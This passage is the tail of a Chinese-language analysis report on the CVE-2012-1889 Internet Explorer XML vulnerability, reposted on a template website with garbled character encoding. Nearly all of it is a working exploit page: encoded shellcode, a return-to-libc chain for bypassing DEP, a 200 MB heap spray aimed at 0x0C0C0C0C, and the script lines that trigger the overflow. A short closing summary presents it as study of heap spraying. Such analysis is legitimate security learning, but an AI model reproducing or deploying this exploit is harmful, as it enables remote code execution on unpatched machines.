??????? "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
??????? "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
??????? "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
??????? "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
??????? "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
??????? "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
??????? "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
??????? "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
??????? "\uC25D\u0010\u0000");
??????? // 4.準(zhǔn)備好FillData
???? //4.1計(jì)算填充滑板指令數(shù)據(jù)的大?。ǘ汲?是因?yàn)閘ength返回的是Unicode的字符個(gè)數(shù))
??????? var nSlideSize = 0x1000;?????????? // 一個(gè)滑板指令塊的大?。?KB)
??????? var nPadSize?? = cPadding.length;? // Padding大小
??????? var nR2LSize?? = cRet2Libc.length; // Ret2Libc大小
??????? var nPySize??? = cPayload.length;? // Shellcode大小
??????? var nFillSize? = nSlideSize-nPadSize-nR2LSize-nPySize;
??????? //4.2制作好一塊填充數(shù)據(jù)
??????? var cFillData? = unescape("\u0C0C\u0C0C");
??????? while (cFillData.length < nSlideSize)
??????????? cFillData += cFillData;
??????? cFillData = cFillData.substring(0, nFillSize);
??????? //5.構(gòu)建滑板指令數(shù)據(jù)塊
??????? var nBlockSize = 0x40000;? // 256KB
??????? var cBlock???? = cPadding + cRet2Libc + cPayload + cFillData;
??????? while (cBlock.length < nBlockSize)
??????????? cBlock += cBlock;
??????? cBlock = cBlock.substring(2, nBlockSize-0x20); // 0x809
???? //6.填充200MB的內(nèi)存區(qū)域(申請(qǐng)800塊256KB大小的滑板數(shù)據(jù)區(qū)),試圖覆蓋0x0C0C0C0C
??? //區(qū)域,每塊滑板數(shù)據(jù)均由 滑板數(shù)據(jù)+Shellcode 組成,這樣只要任意一塊滑板數(shù)據(jù)
??? //正好落在0x0C0C0C0C處,大量無用的“OR AL,0C”就會(huì)將執(zhí)行流程引到滑板數(shù)據(jù)區(qū)
??? //后面的Shellcode處,進(jìn)而執(zhí)行Shellcode。
??????? var cSlideData = new Array();
??????? for (var i = 0; i < 800; i++)
??????????? cSlideData[i] = cBlock.substr(0, cBlock.length);
??? //7.觸發(fā)CVE 2012-1889漏洞
??? //7.1獲取名為15PB的XML對(duì)象,并將其保存到名為obj15PB實(shí)例中
??????? var obj15PB = document.getElementById('15PB').object;
??? //7.2構(gòu)建一個(gè)長度為0x1000-10=8182,起始內(nèi)容為“\\15PB_Com”字節(jié)的數(shù)據(jù)
??????? var srcImgPath = unescape("\u0C0C\u0C08");
??????? while (srcImgPath.length < 0x1000)
??????????? srcImgPath += srcImgPath;
??????? srcImgPath = "\\\\15PB_Com" + srcImgPath;
??????? srcImgPath = srcImgPath.substr(0, 0x1000-10);
??? //7.3創(chuàng)建一個(gè)圖片元素,并將圖片源路徑設(shè)為srcImgPath,并返回當(dāng)前圖片文件名
??????? var emtPic = document.createElement("img");
??????? emtPic.src = srcImgPath;
??????? emtPic.nameProp;
??? //7.4定義對(duì)象obj15PB(觸發(fā)溢出)
??????? obj15PB.definition(0);
??? </script>
</body>
</html>
結(jié)語文章來源:http://www.zghlxwxcb.cn/news/detail-448936.html
WinXP+IE6環(huán)境下,該漏洞利用比較容易;WinXP+IE8環(huán)境開啟了DEP,利用起來比較難,需要我們精心構(gòu)造執(zhí)行鏈;Win7+IE8開啟了ASLR機(jī)制,大致流程和WinXP類似。通過本次對(duì)暴雷漏洞的分析,學(xué)習(xí)了解了堆噴射、精準(zhǔn)堆噴射、return to libc等技術(shù)。了解了繞過DEP的一些思路,熟悉了WinDBG一些命令的使用。對(duì)漏洞利用有了更深的認(rèn)識(shí),還需要繼續(xù)學(xué)習(xí)。文章來源地址http://www.zghlxwxcb.cn/news/detail-448936.html
到了這里,關(guān)于暴雷(CVE-2012-1889)漏洞分析報(bào)告的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!